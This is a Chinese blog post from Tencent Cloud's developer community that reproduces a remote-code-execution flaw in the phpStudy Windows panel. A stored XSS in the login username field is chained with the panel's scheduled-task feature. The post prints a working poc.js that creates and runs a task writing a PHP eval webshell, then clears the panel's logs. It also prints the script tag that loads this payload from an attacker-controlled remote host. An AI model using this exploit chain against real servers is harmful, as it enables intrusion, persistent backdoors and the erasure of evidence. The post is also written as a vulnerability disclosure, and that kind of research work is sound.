前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >phpstudy小皮Windows面板RCE漏洞

phpstudy小皮Windows面板RCE漏洞

作者头像
今天是几号
发布2024-07-18 15:33:39
1120
发布2024-07-18 15:33:39
举报
文章被收录于专栏:Cyber Security
简介

phpStudy是一个PHP调试环境的程序集成包。该程序包集成最新的Apache+PHP+MySQL+phpMyAdmin+ZendOptimizer,一次性安装,无须配置即可使用,是非常方便、好用的PHP调试环境.该程序不仅包括PHP调试环境,还包括了开发工具、开发手册等

概述

phpstudy 小皮面板存在RCE漏洞,通过分析和复现发现本质上是一个存储型的XSS漏洞导致的RCE。通过系统登录用户名输入处的XSS配合系统后台自动添加计划任务来实现RCE。

影响版本

小皮windows面板V0.102以及以下版本 官网版本已修复该漏洞,漏洞版本下载:http://www.ddooo.com/softdown/224005.htm

漏洞复现

安装成功后弹出初始账号密码:

在这里插入图片描述
在这里插入图片描述

尝试几次错误的用户名及密码(验证码需要正确),发现错误的用户名会被记录到首页的操作日志中

在这里插入图片描述
在这里插入图片描述

发现该漏洞大哥可能就是某一瞬间的突发奇想,尝试登陆框能否插入xss

在这里插入图片描述
在这里插入图片描述

漏洞就出现在登陆窗口处,一个存储型XSS,登陆框没有做限制,并且日志会记录失败的用户名,登陆后会将尝试的用户名直接显示在小皮首页当中。 可以插入任意XSS代码,可以结合phpstudy中内置计划任务写入webshell

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

该系统后台有个计划任务的功能,其中可以执行系统命令,所以结合登录处的XSS可以通过写入计划任务来达到命令执行的目的

在VPS部署需要插入的 poc.js 文件(写入目录根据本地实际情况修改)

代码语言:javascript
复制
functionpoc(){
  $.get('/service/app/tasks.php?type=task_list',{},function(data){
    varid=data.data[0].ID;
    $.post('/service/app/tasks.php?type=exec_task',{
      tid:id
    },function(res2){
        $.post('/service/app/log.php?type=clearlog',{
            
        },function(res3){},"json");
    },"json");
  },"json");
}
functionsave(){
  vardata=newObject();
  data.task_id="";
  data.title="test";
  data.exec_cycle="1";
  data.week="1";
  data.day="3";
  data.hour="14";
  data.minute="20";
  data.shell='echo "<?php @eval($_POST[123]);?>" >D:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';
  $.post('/service/app/tasks.php?type=save_shell',data,function(res){
    poc();
  },'json');
}
save();
代码语言:javascript
复制
<script src=http://xxxxx.top:888/POC.js></script>		#插入登陆框中,加载远程js代码
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

修复方式

更新到最新版的小皮面板,最新版小皮面板已经修复该漏洞。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2024-07-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 简介
  • 概述
  • 影响版本
  • 漏洞复现
  • 修复方式
相关产品与服务
对象存储
对象存储(Cloud Object Storage,COS)是由腾讯云推出的无目录层次结构、无数据格式限制,可容纳海量数据且支持 HTTP/HTTPS 协议访问的分布式存储服务。腾讯云 COS 的存储桶空间无容量上限,无需分区管理,适用于 CDN 数据分发、数据万象处理或大数据计算与分析的数据湖等多种场景。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档